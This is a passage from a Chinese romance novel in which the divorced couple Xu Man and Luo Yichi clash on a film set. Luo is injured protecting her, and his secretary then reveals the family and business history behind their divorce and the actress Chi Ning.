骆亦迟眼里的光芒渐渐暗下去,他把许满那碗面推到自己面前,食不知味慢吞吞吃着。 许满说:“骆亦迟,你的心意我领了。” 这样的开头一般都没好事,骆亦迟预感到她要说什么,不想听,却不得不听,加快了吃面的动作,企图借狼吞虎咽来麻痹自己。 “白天的时候,我去看我爸了,碰到了陈医生,他告诉了我一些事。” “我爸说,你去看过他,还帮他缴了康复费用。” “骆亦迟,你不累吗?” “如果我是你,我早累了。” 面明明不烫,骆亦迟却觉得喉咙好疼,比被烫了还疼。 怕许满看到他窝囊的情绪,他把脸埋进碗里,嘴里含着面,含糊的说:“不累。” 许满顿了顿,似在组织话术。 开口时,嗓音还是那么无情:“我有很多问题想问你,想了很久,却不知道该从哪里问起。” “但不管那个问题,你的答案无非那一个,我知道的。” “可是骆亦迟,我根本要不起你的答案。” 短暂的一年婚姻,骆亦迟带给她的快乐和幸福寥寥无几,还全都是虚假的。 一开始,她以为两人是双向奔赴暗恋成真,便将一颗真心全身心交付。 现实给她上了铭心刻骨的一课,她还以为是自己的爱比骆亦迟多,所以才衬托得骆亦迟的爱不明显,不尽人意。 可是后来,她知道池柠的特殊存在,才明白自己的真心在他眼里其实是一文不值的。 她这人很较真,发现了这个事实,便不敢再轻易的交付自己的爱,所以宁愿不再去爱。 直到现在,她以为只要一直拒绝骆亦迟,骆亦迟就会死心。 显然不是这样的。 打也好,骂也好,冷处理也好,不管怎样,骆亦迟都会义无反顾的跑过继续找她,顽强得像只打不死的小强。 六年,他都要把骆亦迟忘了,他偏偏三番两次出现。 他甚至,早在三年前就偷偷出现过。 还把她推进一个两难的境地里,让她今天才知道,让她手足无措,不知道该拿他怎么办。 “我们本来可以两不相欠,你来了我把你赶走,可是你非要做那些,非要让我欠着你,还是那么大的恩情,我都不知道该怎么还你了。” “我自愿的,你不需要还。” 骆亦迟杵了杵筷子,嗓音艰涩,“我从没想过非得让你还我些什么,你跟我说过,你只有爸爸这一个亲人了,我那样做,只是想帮你留住在世的唯一一个亲人罢了。” “如果连唯一那个也不在了,你一定会很痛苦,我曾经给你造成过很多痛苦,不想再让你痛苦了。” 能在有挽回余地的时候尽力挽回,他很庆幸,幸好知道得及时,没给许满留下失去亲人的痛苦和遗憾。 他没想过让许满还,可是许满,为什么一定要还他呢? 就一定要跟他分得这么清楚吗? “谢谢你,请你以后不要再自愿给我什么了,我真的还不起。”许满推开椅子,回了卧室。 一颗虔诚的心被高高举起,没人要,又重重落下,砸在坚硬的地面上,摔成一滩血肉模糊的烂泥。 看着卧室门关上,骆亦迟端起碗,往嘴里大口划拉着,故意制造出很大的声音。 仿佛这样,他苟延残喘的声音就听不见,就没人知道,那故作坚强的外表下,内里早已被击垮,溃不成军的碎了一地。 肯定是自己做得还不够好,所以许满才不满意,才不原谅他。 可是,要怎样做呢? 在湿地庄园丢失的记忆还没找回来,他没有方向,不知道该怎么做,也不知道该去找谁指明前路。 抹掉眼角不存在的泪,骆亦迟默默把碎成一地的心拾起来,擦擦,一块一块拼贴完整,放回到胸腔里,以期下一次做好了,再完整的交出去。 吃完面,去洗了碗,又把垃圾都整理好,准备走的时候带出去。 蛋糕还敞着,他把它扣起来,放进冰箱。 那造型是用他在许满那里买到的第一束花照着做的,许满应该还不知道,那是许晋文卖给他的。 为了定制这个造型,他跑了好多甜品店,不成想做出来都翻车了。 最后还是请动了某个品牌创始人,才做出了让他满意的造型,赶在许满生日前两小时送过来。 骆亦迟还是不想走,他不想就此放弃,他等了那么久,怎么会轻易就被许满两句话吓退呢?靠坐在沙发上,犹豫再三,轻手轻脚的来到卧室前,握住了门把手。 缓缓吸了一口气,用极慢的速度拧开门。 卧室里,床上的许满听到动静,慌忙将手里的小球塞到枕头下,闭眼装睡。 客厅的光漫进来,逼退一室黑暗,骆亦迟踩着光,蹑手蹑脚来到床边,扶着右边膝盖缓缓半蹲下,视线略高于床上躺着的人,静静注视着她。 人和物都默契的保持静止,不发出任何声响。 许满眉眼无声舒展,鼻端呼出轻缓的气息。 骆亦迟屏息,不敢出声,怕一出声会把她吵醒。 睡着的人呼吸绵长,骆亦迟的胆子便大了起来,双手撑在床边,直起身,慢慢向她靠近。 渴望在这一刻达到顶峰。 微凉的唇落下,浮羽一般擦过耳朵,骆亦迟呼吸颤抖,强忍着燥热的冲动,来到眉心,蜻蜓点水的碰了碰。 许满的呼吸变得不平稳,骆亦迟似是没发现,大着胆子继续往下,抵达朝思暮想的唇,攫住,重重吮了一下。 睫羽微动,被子里的手不由攥紧,在许满破功前一秒,作恶的男人离开了她。 骆亦迟浅尝辄止,偷得一个吻,心满意足的重新蹲坐到床边。 他想,值了,这一晚经历的所有不愉快,他都可以不计较了,都可以因为这一个吻而烟消云散。 细细回味着这个见不得光的吻,骆亦迟的视线描摹着床上人“熟睡”的面容,乖巧得仿佛自己刚才自己都没做一样。 好一会儿,才起来,轻手轻脚走出卧室,像来时一样,动作极轻的关上门。 黑暗中,许满缓缓睁开眼。 吧嗒——,客厅传来关门的声音。 骆亦迟走了。 第47章 第 47 章 又受伤了。 许满睡醒, 骆亦迟果然不在了。 手机有一条未读消息:【老师,生日快乐。】 揉揉眼睛, 癔症了几秒钟,看到名字许满才反应过来发消息的人是谁,顿时清醒了。 都叫回老师了,看来是想开了,走出来了。 自从拒绝梁桓宇,许满还以为从此要和他成为陌路, 没想到还有主动破冰的一天。 其实如果能和梁桓宇继续做朋友,许满还挺乐意的,她没多少朋友,有了自然就珍惜。 许满微笑回复:【谢谢梁同学的祝福。】 对话框秒变正在输入。 【对不起老师, 那天是我莽撞了,老师你不会怪我吧?】 许满:【你是我学生, 我怎么会怪你?】 梁桓宇:【那就好, 我真怕老师还生我气, 嘻嘻.jpg】 许满回给梁桓宇一个摸摸头的表情。 上午还有课, 洗漱完, 许满就去学校了。 课间, 梁桓宇又给她发消息, 说自己遇到了一些困境, 想让许满帮帮他。 许满给他打过去电话:“梁同学, 这就是你隔了两个月才主动找我说话的核心原因吧。” 梁桓宇计较道:“也没两个月, 才五十二天而已。” 许满服了, “你倒记得清楚。” “嘿嘿,老师生日快乐。” “别生日不生日了,说吧, 遇到什么困境了?” 梁桓宇支支吾吾的说:“就……毕业论文,遇到了点小麻烦。” 原来是他这阵子忙着创业做直播,一直没回学校,这马上大四上学期就要过完了,被学校催着回去选了导师,现在要确定论文选题,一直没有方向,定了几个,都被导师驳回了,这才没办法来向许满求助。 “忙着创业,就不管毕业了?都是业,你怎么还搞偏心那一套呢?” 许满不理解这小子脑子里装的什么,明明父母都是高知,偏偏自己还这么不上心。 梁桓宇不服:“大家的选题我看也就一般般啊,都过了,为什么我的过不了?我怀疑是老师针对我。” “有没有可能是人家的选题比你的好?” “本科论文而已,再好能好到哪里去?” “话不能这么说,论文有研究价值,才能称之为论文,否则只是一堆没用的文字。” 许满没说学术垃圾,已经够委婉了。 梁桓宇嗤之以鼻,“我只要能毕业就行,还管什么研究价值,我的价值不在研究上。” “那在哪里?直播上?” “答对了!” 许满扶额,不得不承认跟年轻人是真有代沟,真不懂他们的思维方式,就问:“你都定了哪些选题,说给我听听?” 梁桓宇说了几个。 许满听着听着眉头皱起,“我跟你导师想得一样,驳回。” 梁桓宇震惊:“啊?为什么?” 许满一针见血:“你选的这几个,第一个缺乏新意,第二个不实用,第三个研究目的不明确,第四个你就是糊弄来凑数的吧?” 梁桓宇头都大了:“那要怎么弄啊?我以为随便写写就行。” “关乎毕业,怎么能随便写写?” “可我就只会随便写写啊,我又不像你,要搞研究。” “别自暴自弃啊。” “那你告诉我,怎么才能不自暴自弃?” “……” 许满懂了,这小子在这儿挖坑等她跳呢。 “你就是想我给你指几个方向呗?” 梁桓宇回答的很坦荡:“嘿嘿,老师你真聪明。” 许满只得说:“那我给你指几个方向,你自己发挥发挥,看能发挥到什么程度,想好了先给我看看,我确认没问题了,你再报给导师。” 目的达成,梁桓宇满足了:“好的好的,太感谢了,你真是我的好老师。” 许满看穿:“既然是有所求,那下次就别拐弯抹角祝什么生日快乐了。” “嘻嘻,我这不是找台阶下吗?” 趁下午没课,许满在办公室里整理了一些比较适合梁桓宇的选题方向,发给了他。 刚关电脑准备回家,忽然办公室座机响了,许满顺手接起。 来电人是樊华,樊华说她早上离开办公室时落了一本专业书籍,一会儿要用,想让许满帮她送到朝华路187号。 前不久樊华接了一个剧组的邀请,做一部高校偶像剧的专业顾问,这阵子没事就往剧组跑,去现场做指导。 只是跑一趟送个书的事儿,很简单,许满一口答应下来,拿上樊华所说的书,从学校出发了。 抵达朝华路187号,一个身穿卡其色马甲,脖子上挂着蓝色吊牌的工作人员迎过来,热情的说:“您就是许满老师吧?樊教授特意交代,让我在这里等您。” 许满应声说是,工作人员便将她领进去,穿过水泥路,带到一间看起来像个大型仓库的建筑物内,绕开人群和拍摄设备,一路将她领到了樊华跟前。 樊华正在跟一群人在讨论些什么,看到许满,点头示意她稍等。 几分钟过去,樊华一直没说完,许满见器材架旁有块休息区,便去那边坐着等了。 第一次见到拍摄片场她,许满新奇得很,不由四处张望。 周围全是摄像机,东南西北各个方向分别搭了不同的景,有教室,有实验室,有居民区,还有一间看起来很像家的内景,灯光一打,自然的很像真的。 几个演员在补妆,是经常在影视剧里出现的熟面孔,许满兴致来了,打开手机照相机,想拍一张,分享给张澜看看。 休息区比较暗,许满调整镜头角度,正对焦呢,突然,场地里传出一道警告性质的男性粗音,格外有穿透力。 “喂?你干什么呢?” 许满循声望去,见一个络腮胡戴眼镜的男人正怒目圆睁的瞪着她这边。 “说的就是你,那个没戴吊牌的,谁带你进来的?” “刚才在拍什么?快删掉!不知道这里不能拍照吗?” 许满左望右望,在一众陌生人的注视中,疑惑的指指自己。 不会说的是她吧? 男人食指指着她,凶狠道:“对!就是你!” 许满:“……” 无语,还真是她。 许满随即反应过来,自己刚才的拍照举动可能违反了人家的保密协议,所以人家才凶她。 “不好意思啊,我不知道不能拍照。” 许满放下手机尴尬解释,脸都快红了,幸好没拍,不然说不清了。 “还不删掉!” “没有没有,我还没拍呢,角度都没调好。” “被抓到的都说没拍,手机拿来我看看。” 男人说着走过来,到了近前,就去抢许满手里的手机。 许满双手紧抓着不给:“我说没拍,为什么要给你看?” “不给?肯定是拍到了!” “没有,你别拽我手机!” “没有为什么不让看?” 男人执着的非要找出证据证明许满拍了,许满本觉得还可以商量,现在这样,是被冒犯,急了,便争辩道:“手机可以给你,但我说了我没拍,你要是在我手机上没找到证据,我可是会告你的,连带你们整个剧组!” 正是中场休息时间,摄影棚里比较安静,他们两人的动静早就让大家放下手中的活,一个个伸长脖子凑头围观。 樊华也被喧闹声吸引了注意,想过去帮许满解围,却见骆亦迟脸色阴沉的从身边快步走过,往许满那边着急而去。 而男人还抓着许满手机一角往外拽,咄咄逼人的说:“吓唬我呢还?你最好别删,否则我要一定告你影响我们剧组正常拍摄!看谁吓唬得了谁?” 许满不肯松手,抵死不从。 这时,一只宽厚大手蓦地从背后伸过来,按在她手背上,握住一扣,把就快被拽走的手机扣回了手里。 骆亦迟沉稳有力的嗓音同时在她耳边响起。 “你要吓唬谁?” 据理力争的男人看见来人,嚣张的气焰有了哑火的意思:“骆总……” 骆亦迟:“她说了没拍,你怎么不信?” 声音不大,却莫名透出一股震慑力。 围观人群齐齐屏息,一边琢磨骆总不是不近女色吗?怎么跟这个违反规定的陌生女人看起来如此亲密,他手上还戴着婚戒呢,就跟她扣上手了?一边看训人从不看主人的李副导演要如何应对。 李敞有理有据:“骆总,她偷拍照片,被我抓现形了。你知道的,除非特殊要求,拍摄现场是不允许私自拍照的。” 骆亦迟不慌不忙掏出自己手机,对准一圈围观的人,身后等着拍戏的演员,还有争辩得急赤白脸的副导演李敞本人,咔咔咔拍了三张,拍完,亮给李敞看,“李导,我拍了,你处罚吧。” 李敞:“这……” 骆亦迟可是大老板,他怎么敢? 骆亦迟又把刚拍的照片删掉,“我删了,你要检查吗?” 李敞:“……” 李敞不罚也不查,骆亦迟只好收好手机:“李导是会看人下菜碟的,许老师说了没拍,你一口咬定她拍了,非要查她手机;我当着你的面拍了,给你查你不查,让你处罚你也不处罚。李导,你给解释解释,不然我都看不懂了,以后若是跟李导相处起来,都不知道该怎样投李导喜好了。” 李敞被说得难堪起来,摆摆手:“罢了罢了,没拍就没拍。” 说完挥退围观人群,让大家快别看了,赶紧都忙起来。 风波过后拍摄再次启动,许满把手从骆亦迟手里抽出来,按按发烫的脸颊,闷声说:“谢谢。” 骆亦迟问:“没吓到吧?” 许满摇摇头,很久没这么尴尬了,缓过来得好一会儿时间。 骆亦迟摸上她的脸颊,试图帮她缓解:“怎么来这里了?” “给樊主任送书。” “噢,我还以为是来找我的。” 骆亦迟看起来很轻松,还有功夫开玩笑,看来昨晚的经历没对他造成任何影响。 说话间,赵靖闻走过来,跟许满点了个头算作打招呼,问骆亦迟:“骆总,张导看到这边的动静了,有些问题想跟你聊聊。” 骆亦迟:“什么问题?” 赵靖闻缄口不言。 骆亦迟:“等我忙完吧。” 赵靖闻:“好,我让他稍等。” 前脚赵靖闻刚走,后脚樊华终于谈完话,得空找了过来。 “许老师你没事吧?刚才我都看见了,李导他这人脾气冲,说话没个分寸,我来这里几天也没少被他训,都怪我,没提前跟你说这里的注意事项,害你为难了,你怎么样?还好吧?” 许满扯出一个不太自然的笑:“我没事,樊主任,书我带到了,不打扰你们工作,我先走了。” 骆亦迟跟上,“我送你吧。” 许满走得很快,刚才那样丢了一通面子,她属实不自在,只想赶紧逃离这令人不适的地方。 谁知还没出去,迎面又撞上熟人,池柠顶着一脸精致的妆容,手里拿着一叠剧本,看见她,脸上顿时扬起一个惊喜的笑:“许满?真的是你!” 这是池柠的剧?怪不得骆亦迟会在,许满心想。 池柠把剧本丢给身后的助理,上来亲切握住许满的手:“在休息室听说外面起了争执,还劳动了小迟亲自解围,我刚说出来看看是谁让小迟主动英雄救美,没想到是你!许满你太让我意外了,我们多久没见了,六年了吧!你变了,变得更好看了!哎呀,你怎么这么瘦?都快跟我差不多了……” 热情的池柠让许满险些招架不住,她习惯跟人保持恰到好处的社交距离,不自然后退一些,“没想到你在这里,好久不见。” “怎么看到我躲躲闪闪的?”池柠奇怪,发现许满有些局促,“是不是骆亦迟又欺负你了?” 说着朝骆亦迟举起拳头,嗔怪道:“快说,你把许满怎么了?不然我饶不了你!” 骆亦迟的注意力全在许满身上,哪会没发现许满紧绷的状态。 他又忍不住自责起来,一直都知道许满不喜欢他和他那些家人,为了不刺激她,他都尽量避免他们和她接触。 刚才没看见池柠,以为她拍完今天的戏走了,原来是在休息室里。 一直将许满珍着藏着,小心翼翼维持,慎之又慎呵护,池柠一出现,恐怕要将他付出的一切都打水漂,那他和许满就真没可能了。 绝不能让池柠的出现破坏他和许满的关系! 骆亦迟抓起许满的手就往外走,“先不说了,我先送她回去。” 池柠敏锐察觉到不对劲,“怎么突然要走?我才刚和许满碰上,话都还没说几句呢!是因为刚才的争执吗,我听说是李敞没事找事。” “不是。” “那是因为什么?是不是许满身体不舒服?” “也不是。” 许满一句话都不说,把骆亦迟搞得像个惊弓之鸟,怕她是真受了刺激,心里早就难受了所以才不说话。 “一时说不清,你就当许满刚才没来,你没看见她,以后碰到了也装作不认识,不要来烦她,好不好?” “啊?为什么?” 池柠懵了,骆亦迟脑袋被门夹了?说的这是哪门子胡话,它是想让她跟许满绝交吗?怎么可能?她那么喜欢许满! 眼看骆亦迟要带许满走,池柠忙抓住骆亦迟衣袖,“小迟你说清楚,是不是有什么误会?” “没有为什么,是我自己的原因,这样做我会好受点。” 池柠满头问号,每个眼神每个动作都写满了不理解,但骆亦迟却拒绝向她解释更多。 她只能转向许满:“许满,到底怎么了?” 事情突然向许满不理解的地方发展,许满也不知该怎么解释,骆亦迟似乎是想极力向她证明什么,可是这举动在她看来,全是躲避和讨好,没有任何用处。 她甩开骆亦迟的手,讥讽道:“骆亦迟,你跑什么?是怕我再不走就看见你过界的举动吗?” 骆亦迟的心骤的被提起,“我没有。” “那是我出现的不合时宜,破坏了你们相处?” “不是,许满,我是……我是不想你看见她,我怕你难受。” 池柠脑子快烧干了,越听越不明白,貌似这两人之间的争执跟她关系极大,忙说:“你们到底怎么了?什么过界的举动?” 许满别过头:“问你弟吧,这么多人在,我不想闹得大家都难看。” 池柠把目标转向骆亦迟,逼问:“小迟,你是要把我逼疯吗?你一个大男人扭扭捏捏的,到底是什么不会说吗?” “你觉得现在说合适吗?” “怎么不合适?” “那好,我说。”骆亦迟在对池柠说,但目光却炯炯的放在许满身上:“许满一直误会我喜欢你,从我们结婚误会到现在。” “……什么?”池柠仿佛听到天方夜谭,“那不都是你青春期的荒唐念想吗?都过去十多年了!而且,我都拒绝你了!” 骆亦迟苦笑:“是啊,我也这么说,可她不信,我只能跟你保持好距离。” 池柠转向许满:“许满,我也可以跟你解释,我和小迟真的没有。” 许满垂着头,眼睫颤动,心情复杂,拒绝听取他们的剖白,更不愿发表任何感想。 再多解释都是苍白的,她失望过很多次,在自己坚硬的壳里待得好好的,不敢出来,怕受伤害,更不敢心软,怕一时心软,又把自己推入不幸之中。 可骆亦迟偏偏要拉她出来,让她再次爱或被爱。 她哪里敢啊? 不远处响起突兀的争执声,伴随“刺啦——”一声刺耳的摩擦声,有人高声提醒: “小心——” “快躲开!” 池柠眼睛骤然瞪大,许满紧随着众人所指惊恐抬头,骆亦迟随之往后看,只见身后一人多高的器材架不知被谁用力踹了一脚,架顶上摆放着的一套硕大灯具在惯性作用下向前倾倒,正朝着他们三人的位置摔下来。 千钧一发之际,骆亦迟只记得扣住许满的头,死死将她按进怀里,带着她一个转身,险险避开那从天而降的灯具。 然而还没松一口气,却突然,身体遭受重击,猛地一震。 变故发生得太快—— 许满看到,立在器材架旁的一堆金属钢管向着他和骆亦迟的方向当头歪过来,尽数砸在骆亦迟的背上,压着他向地上倒去。 许满脊背重重着地,幸亏骆亦迟将她抱着,胳膊替她承受了一部分压力,她只觉得后背被硌了一下,身上一沉,骆亦迟严丝合缝的压在了她身上。 她被骆亦迟压着无法动弹,用力拍他脸,“骆亦迟?骆亦迟!” 骆亦迟脊背阵阵发麻,不住地抽气,清醒着,从喉咙里挤出声音来。 “你有没有事?” “……你压住我了。”许满试图挪动身体,但不行。 “哦,我挪挪……” 骆亦迟尝试从许满身上爬起,但发麻的脊背害得他胳膊都没力气,刚一撑起,就又趴下了。 “对不起……”吐息都在许满脸旁,骆亦迟用很轻的声音说,“我起不来……” 许满不敢动,怕他被砸得来一次脊椎骨折,弄个全身瘫痪,这辈子就完了。 “别怕,没事。”骆亦迟还有余力安慰她。 那一堆钢管整块压在骆亦迟身上,众人合力将它们从将骆亦迟身上小心抬下来,将他小心扶到一边。 赵靖闻通知完120,指着那一堆钢管生气质问:“这东西谁放这儿的?” 道具组小王切切诺诺的说:“这是上午搭景用的脚手架,用完就拆下来放这儿了,平时一直没事儿的,也不知道谁闲着没事儿,跟器材架过不去,连累脚手架也跟着踹倒了。” 赵靖闻可太知道闲着没事儿的人是谁了,跃过人群直奔李敞,揪着他的衣领将他提起来,恶狠狠道:“有这力气你不去踢球,踢什么架子啊?是想退圈不干了?” 李敞抖如筛糠:“我不是故意的,张导让我调组,我不过是一气之下发泄了一下而已。” “发泄?”赵靖闻像听到什么笑话,冷冷的对李敞砸下一个炸弹,“别发泄了,那不管用,你还是等着被封杀吧,那才是最有用的!” 第48章 第 48 章 池柠。 离开拍摄现场, 一直到医院,除了回答医生问题, 许满没讲过一句话。 赵靖闻安置好骆亦迟,带她一起去做了检查,她没事,回来后就坐在病房里,怔怔望着趴在病床上昏睡的骆亦迟发呆。 她想起很久以前问过骆亦迟的一个问题。 ——如果她和池柠同时掉进河里,骆亦迟先救谁? 很垃圾的一个问题, 想法很天真,但她那时候就是执着的要骆亦迟在她和池柠之间做出选择。 那次,骆亦迟用行动告诉了她答案。 那根从结婚开始就扎进许满心里的刺,自此生了根, 拔不掉除不去,春风一吹, 野蛮生长。 于是她下定决心, 离开了骆亦迟。 六年之后, 骆亦迟的答案变了。 在危急关头, 他选了她, 没选池柠。 终于得到了想要的答案, 许满却一点都开心不起来。 她又开始矛盾, 纠结, 不知道该拿出怎样的态度来面对骆亦迟。 她试过了, 她就是没法放下过去, 没法说服自己不计前嫌坦然接受当前的一切。 她是个小心眼的人, 还爱较真,眼里和心里都容不下瑕疵。 池柠那么大一个瑕疵横在他们之间,她跨不过去, 也不会装作看不见,明明离开前还爱她爱得死去活来,怎么六年不见,骆亦迟就变了呢? 谁信啊。 “许小姐,报告拿回来了,骆总这次主要是背部肌肉损伤,胸膜因为受到撞击,还得再观察观察,不过医生说问题不大,吃药养一段时间应该就好了,后面定期复查就行。” 赵靖闻拿着报告和医嘱给许满看。 许满:“就这些吗?” 赵靖闻:“嗯。” 许满暗自松一口气,悬着的心安定下来,万幸,这次骆亦迟伤的不重,她心里的内疚感可以减轻许多。 如果因为她,骆亦迟从此卧床不起,那她真的会无法原谅自己,无法与这一切达成和解了。 镇痛药在发挥作用,骆亦迟沉睡着,不知道是不是因为趴着不舒服,苍白的脸上,眉头皱起一道深深的沟壑。 “他没事就好,那我走了。”许满拿上自己的东西。 “许小姐。”赵靖闻叫住她,像是有话说。 “还有事吗?” “池柠小姐正在赶过来,她有些话想亲自跟你说。”赵靖闻抬腕看了看表,“应该快到了。” 下午意外发生时,灯具朝着他们三人砸下来,骆亦迟紧急之下抱住许满,池柠被一旁的工作人员拉开,躲过了意外。 因为今天的戏还没拍完,池柠没跟着他们一起来医院,当时许满状态不太好,她就交代了赵靖闻,千万别让许满走,她有话要跟许满说。 还能说什么?无非就是些解释她跟骆亦迟关系的话而已。 “可以不等吗?我知道她要跟我说什么,但我不想听。” 赵靖闻犯了难,他一向处理事情游刃有余,但是面对顶头上司都没办法的许满,他也棘手了起来。 “如果是很重要的事呢?”他只能说。 “再重要,跟我又有什么关系?” 赵靖闻显然没有被难到,思索片刻,忽然拨了个电话。 电话打通,他说:“告诉池柠小姐,许小姐临时有事,我没来得及留住她,她已经回去了。” 手机听筒隐隐泄出一些声音来,被许满捕捉到。 对面听起来不像是池柠,应该是她身边的助理。 “可是赵秘书,我们再过一个红绿灯就到了。” “很抱歉,你们只能先回去了。” “那骆总呢?柠姐说想去看看骆总。” “骆总睡了,现在不方便打扰,改天吧。” 几秒钟后,对面说:“那好吧。” 然后挂了电话。 许满不解赵靖闻此举何为,投去疑惑的目光。 赵靖闻大大方方道:“根据骆总平时的交代,我想我这样处理是正确的。” “?” “之前骆总住院时特意强调过,尽量避免让你和他的家人碰面。” “他的家人?” “对,我的理解是……特指骆总的父母和池柠小姐。” 赵靖闻不仅说话斯文温吞,情绪还相当稳定,许满莫名感觉跟他聊天很舒服,不自觉交谈多了起来。 “你是骆亦迟的秘书?” “对,我姓赵,赵靖闻,是骆总进公司那天,老骆总招进来给他用的。” “哦,跟了他这么久,那你一定很了解他。” “差不多吧,除了出差,一天里我跟骆总有90%的时间是重合的,直到八月份去度假村团建开始,骆总在公司待的时间少了,我休息的时间才多起来。” “度假村?流云湾度假村吗?”许满问。 “对。我们做员工是去度假的,但骆总不是。” “嗯?解释解释?” 赵靖闻毫无心理负担的把骆亦迟给卖了,“自从骆总接手公司后,骆氏就一直在进行改革,高层人员不断更换,内部业务调整组合,骆总忙得没日没夜,一年有一半的时间吃住都在公司。今年改革完成后,骆总才腾出时间,借着去度假村团建的名义去找你。” “找我?” “对,找你。” 许满心说,怪不得怎么赶都赶不走,原来是蓄意接近。 蜷了蜷手指,她用很小的声音说,“不聊这些了,我们换个话题吧。” “聊什么呢?我的工作就是围着他转,话题自然绕不开他。”赵靖闻微微低头,“我只是个普普通通的打工人,骆总是我领导,领导开心了,我们做下属的才会好过点。这几个月骆总虽然情场失意,但相较之前,身上多了些许人情味儿,对公司上下要求都没那么严苛了,大家工作积极了不少,连前台姑娘王漫漫都放松下来,待人接物没那么紧张了。” 以打工人视角来说,确实没毛病,许满提不出任何反驳意见。 但是,“你跟我说这些做什么,我又不懂。” 赵靖闻微哂:“下午在片场,你们和池柠小姐的谈话内容,我都听见了。我想作为一个跟随了骆总七年多的下属,一个陪伴在他身边时间最长的人,有些问题,我能给你答案。” “……” 原来兜兜转转铺垫了这么多,还是跑不掉这些话题,许满潜意识又想屏蔽,但是赵靖闻作为一个合格的秘书,显然谈判经验丰富,一下子就将问题说到了重点上。 “离婚并非骆总意思,那天在公司我全听到了,是老骆总夫人,杜曼玲自作主张,帮他签了离婚协议。” 什么! 许满一整个震惊! 转而细细一想,自从离开市中心那所房子,她和骆亦迟就再也没碰过面,签好字的离婚协议是林逸寄过来的,离婚证是姓周的律师帮领的,骆亦迟全程都没露面。 她还以为是骆亦迟不想见她,却原来,是杜曼玲操作了这一切吗? 这就能解释得通,为什么骆亦迟执意要跟她复婚了。 “他们母子的那场争吵,公司整个楼层都听见了,如果监控没删,现在应该还能查到。后来骆总就变得意志消沉,一蹶不振,两三个月没在公司露面,我也摸了两三个月的鱼。” 赵靖闻当个八卦讲给许满听,说到摸鱼,语气都放松下来,人还笑了一下。 “后来是老骆总把他给拽回来的。骆总回到公司第一天,就跟我说,他要做一件大事,问我愿不愿意接着跟他干,我那时候稀里糊涂答应了,后来才知道,他们父子俩做了一些条件交易,把我们这些员工都给坑惨了。” 许满听得来了兴致,“什么条件交易?” 赵靖闻娓娓道来,“有次跟骆总一起加班,吃饭时喝了点酒,骆总才敞开聊了起来,说他被他爸设计,给坑了一大把。他回来公司的要求是以后想干什么就干什么,想娶谁就娶谁,可做这一切的前提是,必须成为骆家拥有第一话语权的人,而要成为这个人,就得给公司大换血,这活儿太难干了,他花了两三年都没完成,还把所有人都得罪光了,天天忙得家都回不了,压根就没找老婆的时间;而且,他爸还给他开了个附属条件,要他在池柠有困难的时候,帮她一把,明显的就是在坑他。” 提到池柠,许满呼吸一滞,“这都能跟池柠扯上关系?” 赵靖闻像是找到知己,颇为认同的略一点头,“不瞒你说,当初我也是这么想的。” 他接着道:“后来公司做股权重构,我帮骆总整理资料,无意翻倒一份尘封很久的档案,我才知道为什么骆氏一开始不叫骆氏,而叫嘉彦技术有限公司,原来最开始的创始人之一,池嘉澍,是池柠的爸爸,嘉彦二字里面,合的是池嘉澍和骆彦怀的名字。” 一家公司若要经营得好,离不开核心的技术和创新的点子,而作为“嘉彦技术”存在的骆氏前身,最最原始的那几分核心专利里,除了骆彦怀自己的,有一半还写了池嘉澍的名字。 赵靖闻能长久待在那么大一个企业里,成为总经办屹立不倒的红人,自然是有点聪明在身上的。 作为一个局外人,他最先明白过来,骆彦怀开出这个附属条件的意义在哪里。 骆氏发展至今,早就分不清谁是谁的,晚年的骆彦怀想问心无愧,便一味地要将本该属于池嘉澍的那份财富,偿还到池柠身上去。 “我将这份资料呈给了骆总,骆总拿着它去找骆彦怀,结果证实,我的猜测是对的。” 那时候骆亦迟一心扑在公司上,身边围着的人,脑子里盘算着的人,全都是骆氏大楼里的人,只给身在远方的许满腾出来个空隙来偷偷想念,别的人,压根无暇去想。 因为许满介意池柠,骆亦迟身上那从来没有过的男德感,在离婚后罕见的钻出来,让他刻意疏远池柠,跟池柠保持了距离。 直到文件里池嘉澍这个名字的出现,他才猛然意识起来,他已经快三年没想起过池柠了。 偏偏这时候,池柠那边传来消息,她的抑郁症出现了严重的躯体化症状,无法正常工作,必须就医,社交平台断更好几天,粉丝提出抗议,痛陈经纪公司八大罪状,要公司给粉丝一个说法。 “我和骆总一起去医院找到池柠,见到了她的经纪人。” 骆亦迟看见陌生的面孔,才知道池柠早就换了经纪人,目前这个已经是第四个了,新的经纪人不知道他的电话,所以从没联系过他。 “池柠状态确实不好,我当时只看出来她无法集中注意力,听医生说,才知道她一直抗拒治疗。经纪人想让她出面回应安抚粉丝,可是她当时那样子根本就配合不了,只会让情况愈加糟糕。骆总没有这方面的经验,听经纪人说会处理好,便相信了他们。” “后来我看到了官号回应,虽然那话看起来假大空,但至少能起到安抚作用。我将结果告诉了骆总,骆总看过后,也觉得没什么问题。但是后来,池柠的资源就断了,连个商务活动都没有,一直停了半年之久。” “那时候骆总经常去非洲出差,有时候一去就是一两个月,有些消息传不到那边去,而我也没精力持续关注,爆出来的时候,粉丝们已经将这件事发酵了好几天。” 公司的说法是池柠在调养身体,没法正常工作。 但这个理由无法说服粉丝,粉丝再次列出经纪公司罪状,分食池柠资源,不公平分成,接劣质代言等一系列问题,要公司解约。 一开始只是吓唬公司,但可能是受法国经历的影响,池柠性子随性,病情好转之后,她想工作压力减轻一些,自己也产生了解约的想法,但是因为违约金高,解约后还可能面临没有下家接收的问题,就一直没有实施。 工作停了,池柠去老宅的次数多了起来,无意中跟杜曼玲和骆彦怀聊起这件事,骆彦怀想起开给骆亦迟的附属条件,沉思了半晌,说:“我问问小迟,他应该有办法。” 池柠觉得不妥,“小迟冷落我好久了,我们话都很少说,找他帮忙会不会不合适?” 为了减少池柠的心里负担,骆彦怀和盘托出了有关池嘉澍的一切,池柠听得一愣一愣的,最后骆彦怀自己拍板道:“公司本就该有你爸爸的一份,小迟曾经答应过我的,应该不会拒绝我。” 赵靖闻回忆道:“那天我去机场接骆总回来,骆总接完电话,瞬间就陷入了迷茫。他说,他才刚得到你的消息,还没两个月呢,他爸就给他出了这么大一个难题,这是把他往死局里推,问我有没有破局的办法。办法我没想出来,刚到公司,骆总就拉着那些职业经理人紧急召开了一个会议,他们了解到池嘉澍这个名字对骆彦怀的意义之后,权衡池柠的商业价值和目前娱乐产业的市场环境,分析探讨各种利弊,最后给出了一个可行方案——可以帮池柠解约,但公司转型后与池嘉澍瓜葛牵连甚少,可以为了骆彦怀的人情帮助池柠,但为了保证公司利益,池柠必须签一份对赌协议。” 